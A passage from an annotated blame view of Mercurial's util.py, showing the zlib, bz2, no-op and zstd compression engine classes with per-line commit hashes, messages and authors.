27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	3446 while True:
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	3447 newbuf = self._decompobj.decompress('')
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	3448 if newbuf:
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	3449 self._pending.append(newbuf)
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	3450 else:
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	3451 break
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	3452 except self._zstd.ZstdError:
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	3453 self._eof = True
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	3454
30360 358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3455 class _zlibengine(compressionengine):
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3456 def name(self):
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3457 return 'zlib'
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3458
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3459 def bundletype(self):
31795 55c0c91f55e6 util: document bundle compression Gregory Szorc <gregory.szorc@gmail.com> parents: 31780 diff changeset	3460 """zlib compression using the DEFLATE algorithm.
55c0c91f55e6 util: document bundle compression Gregory Szorc <gregory.szorc@gmail.com> parents: 31780 diff changeset	3461
55c0c91f55e6 util: document bundle compression Gregory Szorc <gregory.szorc@gmail.com> parents: 31780 diff changeset	3462 All Mercurial clients should support this format. The compression
55c0c91f55e6 util: document bundle compression Gregory Szorc <gregory.szorc@gmail.com> parents: 31780 diff changeset	3463 algorithm strikes a reasonable balance between compression ratio
55c0c91f55e6 util: document bundle compression Gregory Szorc <gregory.szorc@gmail.com> parents: 31780 diff changeset	3464 and size.
55c0c91f55e6 util: document bundle compression Gregory Szorc <gregory.szorc@gmail.com> parents: 31780 diff changeset	3465 """
30360 358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3466 return 'gzip', 'GZ'
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3467
30761 7283719e2bfd util: declare wire protocol support of compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30745 diff changeset	3468 def wireprotosupport(self):
7283719e2bfd util: declare wire protocol support of compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30745 diff changeset	3469 return compewireprotosupport('zlib', 20, 20)
7283719e2bfd util: declare wire protocol support of compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30745 diff changeset	3470
30798 f50c0db50025 util: compression APIs to support revlog decompression Gregory Szorc <gregory.szorc@gmail.com> parents: 30794 diff changeset	3471 def revlogheader(self):
f50c0db50025 util: compression APIs to support revlog decompression Gregory Szorc <gregory.szorc@gmail.com> parents: 30794 diff changeset	3472 return 'x'
f50c0db50025 util: compression APIs to support revlog decompression Gregory Szorc <gregory.szorc@gmail.com> parents: 30794 diff changeset	3473
30366 c86109eface7 util: add a stream compression API to compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30365 diff changeset	3474 def compressstream(self, it, opts=None):
c86109eface7 util: add a stream compression API to compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30365 diff changeset	3475 opts = opts or {}
c86109eface7 util: add a stream compression API to compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30365 diff changeset	3476
c86109eface7 util: add a stream compression API to compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30365 diff changeset	3477 z = zlib.compressobj(opts.get('level', -1))
c86109eface7 util: add a stream compression API to compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30365 diff changeset	3478 for chunk in it:
c86109eface7 util: add a stream compression API to compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30365 diff changeset	3479 data = z.compress(chunk)
c86109eface7 util: add a stream compression API to compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30365 diff changeset	3480 # Not all calls to compress emit data. It is cheaper to inspect
c86109eface7 util: add a stream compression API to compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30365 diff changeset	3481 # here than to feed empty chunks through generator.
c86109eface7 util: add a stream compression API to compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30365 diff changeset	3482 if data:
c86109eface7 util: add a stream compression API to compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30365 diff changeset	3483 yield data
c86109eface7 util: add a stream compression API to compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30365 diff changeset	3484
c86109eface7 util: add a stream compression API to compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30365 diff changeset	3485 yield z.flush()
c86109eface7 util: add a stream compression API to compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30365 diff changeset	3486
30360 358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3487 def decompressorreader(self, fh):
38713 27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	3488 return _GzipCompressedStreamReader(fh)
30360 358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3489
30794 31e1f0d4ab44 util: compression APIs to support revlog compression Gregory Szorc <gregory.szorc@gmail.com> parents: 30773 diff changeset	3490 class zlibrevlogcompressor(object):
31e1f0d4ab44 util: compression APIs to support revlog compression Gregory Szorc <gregory.szorc@gmail.com> parents: 30773 diff changeset	3491 def compress(self, data):
31e1f0d4ab44 util: compression APIs to support revlog compression Gregory Szorc <gregory.szorc@gmail.com> parents: 30773 diff changeset	3492 insize = len(data)
31e1f0d4ab44 util: compression APIs to support revlog compression Gregory Szorc <gregory.szorc@gmail.com> parents: 30773 diff changeset	3493 # Caller handles empty input case.
31e1f0d4ab44 util: compression APIs to support revlog compression Gregory Szorc <gregory.szorc@gmail.com> parents: 30773 diff changeset	3494 assert insize > 0
31e1f0d4ab44 util: compression APIs to support revlog compression Gregory Szorc <gregory.szorc@gmail.com> parents: 30773 diff changeset	3495
31e1f0d4ab44 util: compression APIs to support revlog compression Gregory Szorc <gregory.szorc@gmail.com> parents: 30773 diff changeset	3496 if insize < 44:
31e1f0d4ab44 util: compression APIs to support revlog compression Gregory Szorc <gregory.szorc@gmail.com> parents: 30773 diff changeset	3497 return None
31e1f0d4ab44 util: compression APIs to support revlog compression Gregory Szorc <gregory.szorc@gmail.com> parents: 30773 diff changeset	3498
31e1f0d4ab44 util: compression APIs to support revlog compression Gregory Szorc <gregory.szorc@gmail.com> parents: 30773 diff changeset	3499 elif insize <= 1000000:
31e1f0d4ab44 util: compression APIs to support revlog compression Gregory Szorc <gregory.szorc@gmail.com> parents: 30773 diff changeset	3500 compressed = zlib.compress(data)
31e1f0d4ab44 util: compression APIs to support revlog compression Gregory Szorc <gregory.szorc@gmail.com> parents: 30773 diff changeset	3501 if len(compressed) < insize:
31e1f0d4ab44 util: compression APIs to support revlog compression Gregory Szorc <gregory.szorc@gmail.com> parents: 30773 diff changeset	3502 return compressed
31e1f0d4ab44 util: compression APIs to support revlog compression Gregory Szorc <gregory.szorc@gmail.com> parents: 30773 diff changeset	3503 return None
31e1f0d4ab44 util: compression APIs to support revlog compression Gregory Szorc <gregory.szorc@gmail.com> parents: 30773 diff changeset	3504
31e1f0d4ab44 util: compression APIs to support revlog compression Gregory Szorc <gregory.szorc@gmail.com> parents: 30773 diff changeset	3505 # zlib makes an internal copy of the input buffer, doubling
31e1f0d4ab44 util: compression APIs to support revlog compression Gregory Szorc <gregory.szorc@gmail.com> parents: 30773 diff changeset	3506 # memory usage for large inputs. So do streaming compression
31e1f0d4ab44 util: compression APIs to support revlog compression Gregory Szorc <gregory.szorc@gmail.com> parents: 30773 diff changeset	3507 # on large inputs.
31e1f0d4ab44 util: compression APIs to support revlog compression Gregory Szorc <gregory.szorc@gmail.com> parents: 30773 diff changeset	3508 else:
31e1f0d4ab44 util: compression APIs to support revlog compression Gregory Szorc <gregory.szorc@gmail.com> parents: 30773 diff changeset	3509 z = zlib.compressobj()
31e1f0d4ab44 util: compression APIs to support revlog compression Gregory Szorc <gregory.szorc@gmail.com> parents: 30773 diff changeset	3510 parts = []
31e1f0d4ab44 util: compression APIs to support revlog compression Gregory Szorc <gregory.szorc@gmail.com> parents: 30773 diff changeset	3511 pos = 0
31e1f0d4ab44 util: compression APIs to support revlog compression Gregory Szorc <gregory.szorc@gmail.com> parents: 30773 diff changeset	3512 while pos < insize:
31e1f0d4ab44 util: compression APIs to support revlog compression Gregory Szorc <gregory.szorc@gmail.com> parents: 30773 diff changeset	3513 pos2 = pos + 2**20
31e1f0d4ab44 util: compression APIs to support revlog compression Gregory Szorc <gregory.szorc@gmail.com> parents: 30773 diff changeset	3514 parts.append(z.compress(data[pos:pos2]))
31e1f0d4ab44 util: compression APIs to support revlog compression Gregory Szorc <gregory.szorc@gmail.com> parents: 30773 diff changeset	3515 pos = pos2
31e1f0d4ab44 util: compression APIs to support revlog compression Gregory Szorc <gregory.szorc@gmail.com> parents: 30773 diff changeset	3516 parts.append(z.flush())
31e1f0d4ab44 util: compression APIs to support revlog compression Gregory Szorc <gregory.szorc@gmail.com> parents: 30773 diff changeset	3517
31e1f0d4ab44 util: compression APIs to support revlog compression Gregory Szorc <gregory.szorc@gmail.com> parents: 30773 diff changeset	3518 if sum(map(len, parts)) < insize:
31e1f0d4ab44 util: compression APIs to support revlog compression Gregory Szorc <gregory.szorc@gmail.com> parents: 30773 diff changeset	3519 return ''.join(parts)
31e1f0d4ab44 util: compression APIs to support revlog compression Gregory Szorc <gregory.szorc@gmail.com> parents: 30773 diff changeset	3520 return None
31e1f0d4ab44 util: compression APIs to support revlog compression Gregory Szorc <gregory.szorc@gmail.com> parents: 30773 diff changeset	3521
30798 f50c0db50025 util: compression APIs to support revlog decompression Gregory Szorc <gregory.szorc@gmail.com> parents: 30794 diff changeset	3522 def decompress(self, data):
f50c0db50025 util: compression APIs to support revlog decompression Gregory Szorc <gregory.szorc@gmail.com> parents: 30794 diff changeset	3523 try:
f50c0db50025 util: compression APIs to support revlog decompression Gregory Szorc <gregory.szorc@gmail.com> parents: 30794 diff changeset	3524 return zlib.decompress(data)
f50c0db50025 util: compression APIs to support revlog decompression Gregory Szorc <gregory.szorc@gmail.com> parents: 30794 diff changeset	3525 except zlib.error as e:
f50c0db50025 util: compression APIs to support revlog decompression Gregory Szorc <gregory.szorc@gmail.com> parents: 30794 diff changeset	3526 raise error.RevlogError(_('revlog decompress error: %s') %
37087 f0b6fbea00cf stringutil: bulk-replace call sites to point to new module Yuya Nishihara <yuya@tcha.org> parents: 37086 diff changeset	3527 stringutil.forcebytestr(e))
30798 f50c0db50025 util: compression APIs to support revlog decompression Gregory Szorc <gregory.szorc@gmail.com> parents: 30794 diff changeset	3528
30794 31e1f0d4ab44 util: compression APIs to support revlog compression Gregory Szorc <gregory.szorc@gmail.com> parents: 30773 diff changeset	3529 def revlogcompressor(self, opts=None):
31e1f0d4ab44 util: compression APIs to support revlog compression Gregory Szorc <gregory.szorc@gmail.com> parents: 30773 diff changeset	3530 return self.zlibrevlogcompressor()
31e1f0d4ab44 util: compression APIs to support revlog compression Gregory Szorc <gregory.szorc@gmail.com> parents: 30773 diff changeset	3531
30360 358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3532 compengines.register(_zlibengine())
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3533
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3534 class _bz2engine(compressionengine):
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3535 def name(self):
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3536 return 'bz2'
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3537
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3538 def bundletype(self):
31795 55c0c91f55e6 util: document bundle compression Gregory Szorc <gregory.szorc@gmail.com> parents: 31780 diff changeset	3539 """An algorithm that produces smaller bundles than ``gzip``.
55c0c91f55e6 util: document bundle compression Gregory Szorc <gregory.szorc@gmail.com> parents: 31780 diff changeset	3540
55c0c91f55e6 util: document bundle compression Gregory Szorc <gregory.szorc@gmail.com> parents: 31780 diff changeset	3541 All Mercurial clients should support this format.
55c0c91f55e6 util: document bundle compression Gregory Szorc <gregory.szorc@gmail.com> parents: 31780 diff changeset	3542
55c0c91f55e6 util: document bundle compression Gregory Szorc <gregory.szorc@gmail.com> parents: 31780 diff changeset	3543 This engine will likely produce smaller bundles than ``gzip`` but
55c0c91f55e6 util: document bundle compression Gregory Szorc <gregory.szorc@gmail.com> parents: 31780 diff changeset	3544 will be significantly slower, both during compression and
55c0c91f55e6 util: document bundle compression Gregory Szorc <gregory.szorc@gmail.com> parents: 31780 diff changeset	3545 decompression.
55c0c91f55e6 util: document bundle compression Gregory Szorc <gregory.szorc@gmail.com> parents: 31780 diff changeset	3546
55c0c91f55e6 util: document bundle compression Gregory Szorc <gregory.szorc@gmail.com> parents: 31780 diff changeset	3547 If available, the ``zstd`` engine can yield similar or better
55c0c91f55e6 util: document bundle compression Gregory Szorc <gregory.szorc@gmail.com> parents: 31780 diff changeset	3548 compression at much higher speeds.
55c0c91f55e6 util: document bundle compression Gregory Szorc <gregory.szorc@gmail.com> parents: 31780 diff changeset	3549 """
30360 358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3550 return 'bzip2', 'BZ'
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3551
30761 7283719e2bfd util: declare wire protocol support of compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30745 diff changeset	3552 # We declare a protocol name but don't advertise by default because
7283719e2bfd util: declare wire protocol support of compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30745 diff changeset	3553 # it is slow.
7283719e2bfd util: declare wire protocol support of compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30745 diff changeset	3554 def wireprotosupport(self):
7283719e2bfd util: declare wire protocol support of compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30745 diff changeset	3555 return compewireprotosupport('bzip2', 0, 0)
7283719e2bfd util: declare wire protocol support of compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30745 diff changeset	3556
30366 c86109eface7 util: add a stream compression API to compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30365 diff changeset	3557 def compressstream(self, it, opts=None):
c86109eface7 util: add a stream compression API to compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30365 diff changeset	3558 opts = opts or {}
c86109eface7 util: add a stream compression API to compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30365 diff changeset	3559 z = bz2.BZ2Compressor(opts.get('level', 9))
c86109eface7 util: add a stream compression API to compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30365 diff changeset	3560 for chunk in it:
c86109eface7 util: add a stream compression API to compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30365 diff changeset	3561 data = z.compress(chunk)
c86109eface7 util: add a stream compression API to compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30365 diff changeset	3562 if data:
c86109eface7 util: add a stream compression API to compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30365 diff changeset	3563 yield data
c86109eface7 util: add a stream compression API to compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30365 diff changeset	3564
c86109eface7 util: add a stream compression API to compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30365 diff changeset	3565 yield z.flush()
c86109eface7 util: add a stream compression API to compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30365 diff changeset	3566
30360 358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3567 def decompressorreader(self, fh):
38713 27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	3568 return _BZ2CompressedStreamReader(fh)
30360 358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3569
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3570 compengines.register(_bz2engine())
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3571
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3572 class _truncatedbz2engine(compressionengine):
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3573 def name(self):
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3574 return 'bz2truncated'
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3575
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3576 def bundletype(self):
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3577 return None, '_truncatedBZ'
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3578
30369 673f0fdc1046 util: remove compressorobj API from compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30366 diff changeset	3579 # We don't implement compressstream because it is hackily handled elsewhere.
30360 358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3580
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3581 def decompressorreader(self, fh):
38713 27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	3582 return _TruncatedBZ2CompressedStreamReader(fh)
30360 358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3583
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3584 compengines.register(_truncatedbz2engine())
30279 6a8aff737a17 util: put compression code next to each other Gregory Szorc <gregory.szorc@gmail.com> parents: 30181 diff changeset	3585
30360 358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3586 class _noopengine(compressionengine):
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3587 def name(self):
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3588 return 'none'
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3589
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3590 def bundletype(self):
31795 55c0c91f55e6 util: document bundle compression Gregory Szorc <gregory.szorc@gmail.com> parents: 31780 diff changeset	3591 """No compression is performed.
55c0c91f55e6 util: document bundle compression Gregory Szorc <gregory.szorc@gmail.com> parents: 31780 diff changeset	3592
55c0c91f55e6 util: document bundle compression Gregory Szorc <gregory.szorc@gmail.com> parents: 31780 diff changeset	3593 Use this compression engine to explicitly disable compression.
55c0c91f55e6 util: document bundle compression Gregory Szorc <gregory.szorc@gmail.com> parents: 31780 diff changeset	3594 """
30360 358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3595 return 'none', 'UN'
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3596
30761 7283719e2bfd util: declare wire protocol support of compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30745 diff changeset	3597 # Clients always support uncompressed payloads. Servers don't because
7283719e2bfd util: declare wire protocol support of compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30745 diff changeset	3598 # unless you are on a fast network, uncompressed payloads can easily
7283719e2bfd util: declare wire protocol support of compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30745 diff changeset	3599 # saturate your network pipe.
7283719e2bfd util: declare wire protocol support of compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30745 diff changeset	3600 def wireprotosupport(self):
7283719e2bfd util: declare wire protocol support of compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30745 diff changeset	3601 return compewireprotosupport('none', 0, 10)
7283719e2bfd util: declare wire protocol support of compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30745 diff changeset	3602
30798 f50c0db50025 util: compression APIs to support revlog decompression Gregory Szorc <gregory.szorc@gmail.com> parents: 30794 diff changeset	3603 # We don't implement revlogheader because it is handled specially
f50c0db50025 util: compression APIs to support revlog decompression Gregory Szorc <gregory.szorc@gmail.com> parents: 30794 diff changeset	3604 # in the revlog class.
f50c0db50025 util: compression APIs to support revlog decompression Gregory Szorc <gregory.szorc@gmail.com> parents: 30794 diff changeset	3605
30366 c86109eface7 util: add a stream compression API to compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30365 diff changeset	3606 def compressstream(self, it, opts=None):
c86109eface7 util: add a stream compression API to compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30365 diff changeset	3607 return it
c86109eface7 util: add a stream compression API to compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30365 diff changeset	3608
30360 358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3609 def decompressorreader(self, fh):
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3610 return fh
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3611
30794 31e1f0d4ab44 util: compression APIs to support revlog compression Gregory Szorc <gregory.szorc@gmail.com> parents: 30773 diff changeset	3612 class nooprevlogcompressor(object):
31e1f0d4ab44 util: compression APIs to support revlog compression Gregory Szorc <gregory.szorc@gmail.com> parents: 30773 diff changeset	3613 def compress(self, data):
31e1f0d4ab44 util: compression APIs to support revlog compression Gregory Szorc <gregory.szorc@gmail.com> parents: 30773 diff changeset	3614 return None
31e1f0d4ab44 util: compression APIs to support revlog compression Gregory Szorc <gregory.szorc@gmail.com> parents: 30773 diff changeset	3615
31e1f0d4ab44 util: compression APIs to support revlog compression Gregory Szorc <gregory.szorc@gmail.com> parents: 30773 diff changeset	3616 def revlogcompressor(self, opts=None):
31e1f0d4ab44 util: compression APIs to support revlog compression Gregory Szorc <gregory.szorc@gmail.com> parents: 30773 diff changeset	3617 return self.nooprevlogcompressor()
31e1f0d4ab44 util: compression APIs to support revlog compression Gregory Szorc <gregory.szorc@gmail.com> parents: 30773 diff changeset	3618
30360 358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3619 compengines.register(_noopengine())
26266 1e042e31bd0c changegroup: move all compressions utilities in util Pierre-Yves David <pierre-yves.david@fb.com> parents: 26201 diff changeset	3620
30451 41a8106789ca util: implement zstd compression engine Gregory Szorc <gregory.szorc@gmail.com> parents: 30447 diff changeset	3621 class _zstdengine(compressionengine):
41a8106789ca util: implement zstd compression engine Gregory Szorc <gregory.szorc@gmail.com> parents: 30447 diff changeset	3622 def name(self):
41a8106789ca util: implement zstd compression engine Gregory Szorc <gregory.szorc@gmail.com> parents: 30447 diff changeset	3623 return 'zstd'
41a8106789ca util: implement zstd compression engine Gregory Szorc <gregory.szorc@gmail.com> parents: 30447 diff changeset	3624
41a8106789ca util: implement zstd compression engine Gregory Szorc <gregory.szorc@gmail.com> parents: 30447 diff changeset	3625 @propertycache
41a8106789ca util: implement zstd compression engine Gregory Szorc <gregory.szorc@gmail.com> parents: 30447 diff changeset	3626 def _module(self):
41a8106789ca util: implement zstd compression engine Gregory Szorc <gregory.szorc@gmail.com> parents: 30447 diff changeset	3627 # Not all installs have the zstd module available. So defer importing
41a8106789ca util: implement zstd compression engine Gregory Szorc <gregory.szorc@gmail.com> parents: 30447 diff changeset	3628 # until first access.
41a8106789ca util: implement zstd compression engine Gregory Szorc <gregory.szorc@gmail.com> parents: 30447 diff changeset	3629 try:
41a8106789ca util: implement zstd compression engine Gregory Szorc <gregory.szorc@gmail.com> parents: 30447 diff changeset	3630 from . import zstd
41a8106789ca util: implement zstd compression engine Gregory Szorc <gregory.szorc@gmail.com> parents: 30447 diff changeset	3631 # Force delayed import.
41a8106789ca util: implement zstd compression engine Gregory Szorc <gregory.szorc@gmail.com> parents: 30447 diff changeset	3632 zstd.__version__
41a8106789ca util: implement zstd compression engine Gregory Szorc <gregory.szorc@gmail.com> parents: 30447 diff changeset	3633 return zstd
41a8106789ca util: implement zstd compression engine Gregory Szorc <gregory.szorc@gmail.com> parents: 30447 diff changeset	3634 except ImportError:
41a8106789ca util: implement zstd compression engine Gregory Szorc <gregory.szorc@gmail.com> parents: 30447 diff changeset	3635 return None
41a8106789ca util: implement zstd compression engine Gregory Szorc <gregory.szorc@gmail.com> parents: 30447 diff changeset	3636
41a8106789ca util: implement zstd compression engine Gregory Szorc <gregory.szorc@gmail.com> parents: 30447 diff changeset	3637 def available(self):
41a8106789ca util: implement zstd compression engine Gregory Szorc <gregory.szorc@gmail.com> parents: 30447 diff changeset	3638 return bool(self._module)
41a8106789ca util: implement zstd compression engine Gregory Szorc <gregory.szorc@gmail.com> parents: 30447 diff changeset	3639
41a8106789ca util: implement zstd compression engine Gregory Szorc <gregory.szorc@gmail.com> parents: 30447 diff changeset	3640 def bundletype(self):
31795 55c0c91f55e6 util: document bundle compression Gregory Szorc <gregory.szorc@gmail.com> parents: 31780 diff changeset	3641 """A modern compression algorithm that is fast and highly flexible.
55c0c91f55e6 util: document bundle compression Gregory Szorc <gregory.szorc@gmail.com> parents: 31780 diff changeset	3642
55c0c91f55e6 util: document bundle compression Gregory Szorc <gregory.szorc@gmail.com> parents: 31780 diff changeset	3643 Only supported by Mercurial 4.1 and newer clients.
55c0c91f55e6 util: document bundle compression Gregory Szorc <gregory.szorc@gmail.com> parents: 31780 diff changeset	3644
55c0c91f55e6 util: document bundle compression Gregory Szorc <gregory.szorc@gmail.com> parents: 31780 diff changeset	3645 With the default settings, zstd compression is both faster and yields
55c0c91f55e6 util: document bundle compression Gregory Szorc <gregory.szorc@gmail.com> parents: 31780 diff changeset	3646 better compression than ``gzip``. It also frequently yields better
55c0c91f55e6 util: document bundle compression Gregory Szorc <gregory.szorc@gmail.com> parents: 31780 diff changeset	3647 compression than ``bzip2`` while operating at much higher speeds.
55c0c91f55e6 util: document bundle compression Gregory Szorc <gregory.szorc@gmail.com> parents: 31780 diff changeset	3648
55c0c91f55e6 util: document bundle compression Gregory Szorc <gregory.szorc@gmail.com> parents: 31780 diff changeset	3649 If this engine is available and backwards compatibility is not a
55c0c91f55e6 util: document bundle compression Gregory Szorc <gregory.szorc@gmail.com> parents: 31780 diff changeset	3650 concern, it is likely the best available engine.
55c0c91f55e6 util: document bundle compression Gregory Szorc <gregory.szorc@gmail.com> parents: 31780 diff changeset	3651 """
30451 41a8106789ca util: implement zstd compression engine Gregory Szorc <gregory.szorc@gmail.com> parents: 30447 diff changeset	3652 return 'zstd', 'ZS'
41a8106789ca util: implement zstd compression engine Gregory Szorc <gregory.szorc@gmail.com> parents: 30447 diff changeset	3653
30761 7283719e2bfd util: declare wire protocol support of compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30745 diff changeset	3654 def wireprotosupport(self):
7283719e2bfd util: declare wire protocol support of compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30745 diff changeset	3655 return compewireprotosupport('zstd', 50, 50)
7283719e2bfd util: declare wire protocol support of compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30745 diff changeset	3656
30798 f50c0db50025 util: compression APIs to support revlog decompression Gregory Szorc <gregory.szorc@gmail.com> parents: 30794 diff changeset	3657 def revlogheader(self):
f50c0db50025 util: compression APIs to support revlog decompression Gregory Szorc <gregory.szorc@gmail.com> parents: 30794 diff changeset	3658 return '\x28'
